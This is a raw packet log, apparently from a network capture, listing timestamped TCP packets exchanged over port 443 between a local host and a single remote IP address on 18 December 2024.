Dec 18, 2024 13:35:34.564886093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.571031094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.571053028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.571101904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.571116924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.571137905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.571156979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.576611996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.576637030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.576678991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.576692104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.576735020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.576757908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.583082914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.583131075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.583170891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.583178043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.583249092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.583249092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.589057922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.589081049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.589119911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.589127064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.589158058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.589185953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.594930887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.594953060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.595010996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.595019102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.595061064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.595079899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.601296902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.601319075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.601358891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.601367950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.601404905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.734855890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.734874964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.734988928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.735006094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.735209942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.758338928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.758393049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.758430958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.758440018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.758487940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.758548021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.764102936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.764152050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.764180899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.764189005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.764214993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.764245987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.768779993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.768829107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.768867016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.768878937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.768903971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.768940926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.775156975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.775201082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.775226116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.775234938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.775278091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.775278091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.781693935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.781744957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.781781912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.781791925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.781816006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.781878948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.787386894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.787431002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.787512064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.787512064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.787519932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.787712097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.793828011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.793870926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.793906927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.793915987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.793941975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.794023037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.188703060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.188765049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.188801050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.188813925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.188839912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.189421892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.191811085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.191864967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.191904068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.191911936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.191936970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.192948103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.192986965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.193000078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.193032026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.193037987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.193063021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.193938017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.193962097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.193965912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.193974972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.193993092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.194391966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.195117950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.195133924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.195178986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.195187092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.195233107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.195233107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.196028948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.196046114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.196111917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.196120977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.196218014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.197866917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.197882891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.198859930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.198890924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.198903084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.198935986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.199330091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.222438097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.222455025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.222510099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.222527027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.222551107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.223757982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.223786116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.223786116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.223799944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.223817110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.223864079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.224750042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.224765062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.226440907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.226470947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.226473093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.226484060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.226505041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.227298975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.227745056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.227761030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.227863073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.227863073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.227873087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.228660107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.228686094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.228761911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.228761911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.228770971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.229567051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.229582071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.229593992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.229602098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.229662895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.229664087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.231287003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.231303930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.231868982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.231878042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.231975079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.313805103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.313822985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.313966990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.313991070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.314096928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.396343946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.396367073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.396764994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.396795034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.397515059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.402298927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.402317047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.402386904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.402386904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.402400970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.402726889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.408806086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.408823967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.408915043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.408924103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.408946037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.409022093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.414057016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.414073944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.414174080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.414187908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.414349079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.420378923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.420397043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.420536995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.420553923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.420733929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.426289082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.426306009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.426422119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.426429987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.427229881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.432586908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.432604074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.432718039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.432728052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.432842970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.506727934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.506747961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.506838083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.506881952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.506908894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.506979942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.525851965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.525871992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.527883053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.527905941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.531867981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.531893969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.531924963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.531935930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.535877943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.538203001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.538218021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.539904118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.539918900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.543926954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.543962955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.543967962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.543981075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.543992996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.544060946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.544060946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.550070047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.550086021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.551873922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.551887989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.556226969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.559700012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.559715986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.559827089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.559839964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.559897900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.588464022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.588479996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.591875076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.591895103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.596131086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.698299885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.698324919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.698389053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.698426008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.698456049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.698479891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.717924118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.717945099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.718013048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.718034983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.718059063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.718081951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.723916054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.723933935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.724019051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.724030018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.724054098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.724083900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.729260921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.729276896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.729347944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.729358912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.729379892 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.729403019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.735004902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.735023022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.735095978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.735135078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.735178947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.740839958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.740861893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.740932941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.740953922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.740972996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.740993977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.752444983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.752461910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.752568007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.752582073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.752623081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.780886889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.780905008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.780993938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.781017065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.781070948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.890419960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.890454054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.890553951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.890587091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.890628099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.910803080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.910834074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.910936117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.910964012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.911007881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.915858030 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.915874958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.915931940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.915942907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.915972948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.915992975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.923666954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.923685074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.923742056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.923763990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.923801899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.928229094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.928246975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.928288937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.928301096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.928323984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.928344965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.934617043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.934633017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.934695005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.934711933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.934746027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.945473909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.945499897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.945534945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.945553064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.945594072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.945611954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.973310947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.973335981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.973388910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.973408937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:35.973444939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:35.973459959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.082842112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.082870007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.082912922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.082946062 CET	443	49728	118.107.29.172	192.168.2.6
